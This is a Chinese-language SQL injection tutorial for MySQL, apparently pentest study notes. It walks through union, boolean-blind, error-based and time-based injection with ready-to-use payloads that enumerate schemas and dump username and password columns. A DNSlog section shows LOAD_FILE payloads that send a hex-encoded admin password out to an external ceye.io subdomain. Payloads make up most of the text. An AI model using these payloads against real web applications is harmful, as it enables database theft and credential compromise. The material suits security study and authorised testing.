Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。
根据注入技术分类有以下五种:
布尔型盲注:根据返回页面判断条件真假 时间型盲注:用页面返回时间是否增加判断是否存在注入 基于错误的注入:页面会返回错误信息 联合查询注入:可以使用union的情况下 堆查询注入:可以同时执行多条语句
查找SQL注入漏洞 #
Union注入 #
以MySQL注入为例
1、在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
?id=1' and 1=1# 页面返回正常 ?id=1' and 1=2# 页面返回不正常
2、利用order by猜测字段
?id=1%27%20order%0aby%0c2%23 --返回正常 --上边用%0a和%0c的URL编码可以代替空格,到数据库后就是空格的意思 ?id=1%27 order by 3# --返回正常 ?id=1%27 order by 4# --返回正常 ?id=1%27 order by 5# --返回错误 --这就证明字段总数为4
3、利用union联合查询
?id=-1%27 union select 1,2,3,4# --看哪个字段可以显示信息,利用它获取数据库信息 --修改id为一个不存在的id,强行报错 --因为代码默认只返回第一条结果,不会返回 union select 的结果
4、获取数据库信息
id=-1%27 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version())# user() --获取数据库用户名 database() --获取数据库名 version() --获取数据库版本信息 concat_ws(separator,str1,str2,...) --含有分隔符地连接字符串 --里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出 --其它信息 @@datadir --数据库路径 @@version_compile_os --操作系统版本
5、查询数据库的表
id=-1%27 union select 1,2,3,table_name from information_schema.tables where table_schema='sqli' limit 0,1# --table_schema=数据库名16进制或者用单引号括起来 --改变limit 0,1中前一个参数,得到所有表
6、查询数据库字段
id=-1%27 union select 1,2,3,column_name from information_schema.columns where table_schema=%27数据库名%27 and table_name=%27表名%27limit 0,1#
7、脱裤,获取数据
union select 1,2,3,group_concat(name,password)%20from%20sc# --用字段名从表中取数据 group_concat(str1,str2,...) --连接一个组的所有字符串
Boolean注入 #
布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。
1、在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
?id=1' and 1=1# 页面返回正常 ?id=1' and 1=2# 页面返回不正常
2、判断数据库名的长度
1'and length(database())>=1--+ 页面返回正常 1'and length(database())>=13--+ 页面返回正常 1'and length(database())>=14--+ 页面返回错误 由此判断得到数据库名的长度是13个字符
3、猜解数据库名
使用逐字符判断的方式获取数据库名; 数据库名的范围一般在a~z、0~9之内,可能还会有特殊字符 "_"、"-" 等,这里的字母不区分大小写。 ' and substr(database(),1,1)='a'--+ ' and substr(database(),2,1)='a'--+ substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。 用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。 还可以用ASCII码查询
a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为: ' and ord(substr(database(),1,1))=97--+ ASCII码表中可显示字符的范围是:0~127
4、判断数据库表名
' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+ --修改1,1前边的1~20,逐字符猜解出第一个表的名 --修改limit的0,1前边的0~20,逐个猜解每个表
5、判断数据库字段名
' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+ --修改1,1前边的1~20,逐字符猜解出第一个字段的名 --修改limit的0,1前边的0~20,逐个猜解每个字段
6、取数据
' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+ 当然如果嫌用Burp慢的话,可以自己编写脚本,修改payload就行了 一般盲注的话都是自己写脚本比较快。
报错注入 #
在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。
常用的MySQL报错函数
--xpath语法错误 extractvalue() --查询节点内容 updatexml() --修改查询到的内容 它们的第二个参数都要求是符合xpath语法的字符串 如果不满足要求则会报错,并且将查询结果放在报错信息里 --主键重复(duplicate entry) floor() --返回小于等于该值的最大整数 只要是count,rand(),group by 三个连用就会造成这种主键重复报错
1、尝试用单引号报错
2、获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ --0x7e是"~"符号的16进制,在这作为分隔符
3、获取表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+
4、获取字段名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+
5、取数据
' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+ 其它函数payload语法: --extractvalue ' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ --floor() ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
时间型盲注 #
盲注是在SQL注入攻击过程中,服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。
可以用benchmark,sleep等造成延时效果的函数。
如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积 (opens new window)产生大量的计算从而产生时间延迟;
或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。
1、利用sleep判断数据库名长度
' and sleep(5) and 1=1--+ 页面返回不正常,延时5秒 ' and sleep(5) and 1=2--+ 页面返回不正常,不延时 and if(length(database())>1,sleep(5),1) --if(条件表达式,真,假) --C语言的三目运算符类似
2、获取数据库名
and if(substr(database(),1,1)='a',sleep(5),1)--+
具体数据以此类推即可。
时间型盲注的加速方式 #
1、Windows平台上的Mysql可以用DNSlog加速注入
2、利用二分查找法
sqlmap盲注默认采用的是二分查找法
利用 ASCII 码作为条件来查询,ASCII 码中字母范围在65~122之间 以这个范围的中间数为条件,判断payload中传入的 ASCII 码是否大于这个中间数 如果大于,就往中间数~122这块查找。反之亦然~
注入技巧 #
DNSlog盲注详解 #
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息;
DNSlog就是记录用户访问网站域名时,记录DNS和对应的IP的转换访问日志;
MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据;
通过SQL执行后,将内容输出到DNSlog中记录起来,然后我们可以在DNSlog平台查询回显数据
union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM user WHERE name='admin' LIMIT 1),'.mysql.wintrysec.ceye.io\abc')) --Hex编码的目的是减少干扰,域名有一定的规范,有些特殊字符不能带入
注意:load_file()只能在windows平台上才能发起请求,linux下做dnslog攻击是不行的 因为UNC通用命名规范, \\server\share_name 上边 CONCAT 应该写四个反斜杠 \,因为最后会被转义成两个 因为Linux没有遵守UNC,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
MySQL数据库配置中要设置secure_file_priv为空,才能完整的去请求DNS secure-file-priv参数是用来限制 LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的 ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
在时间型盲注中用DNSlog加速注入
'and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(database())),'.xxx.ceye.io\\abc'))),sleep(5),1)%23 DNSlog在SQL注入中的实战(opens new window)